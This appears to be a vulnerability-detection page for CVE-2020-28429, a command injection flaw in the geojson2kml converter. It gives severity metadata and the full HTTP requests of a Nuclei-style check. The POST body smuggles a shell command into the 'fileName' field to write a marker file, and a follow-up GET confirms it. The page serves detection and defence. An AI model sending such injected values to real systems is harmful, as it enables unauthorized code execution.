🔙 목록으로 돌아가기

CVE-2020-28429: geojson2kml - Command Injection

Titlegeojson2kml - Command Injection
Authoreeche,chae1xx1os,persona-twotwo,soonghee2
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could result in unauthorized access, remote code execution, privilege escalation
RemediationDo not use geojson2kml. There is no fixed version for geojson2kml.
CVSS Score9.8
EPSS Score0.8418
CVE IDCVE-2020-28429
CWE IDCWE-78
Tags cve cve2020 rce geojson2kml file-upload intrusive vuln

🔍 Vulnerability Description

Detects command injection vulnerability by checking if hacked.txt is created and contains the expected content.

🌐 HTTP Request

POST /convert HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 380
Content-Type: application/json
Accept-Encoding: gzip

{

  "fileName": "& echo \"38FTLJ2w4d4h1H1fhFEAaB29amo\" > EYYeMzUI.txt && ls",

  "geoJsonData": {

    "type": "FeatureCollection",

    "features": [

      {

        "type": "Feature",

        "geometry": {

          "type": "Point",

          "coordinates": [102.0, 0.5]

        },

        "properties": {

          "prop0": "value0"

        }

      }

    ]

  }

}
GET /file/EYYeMzUI.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28429.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-28429.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A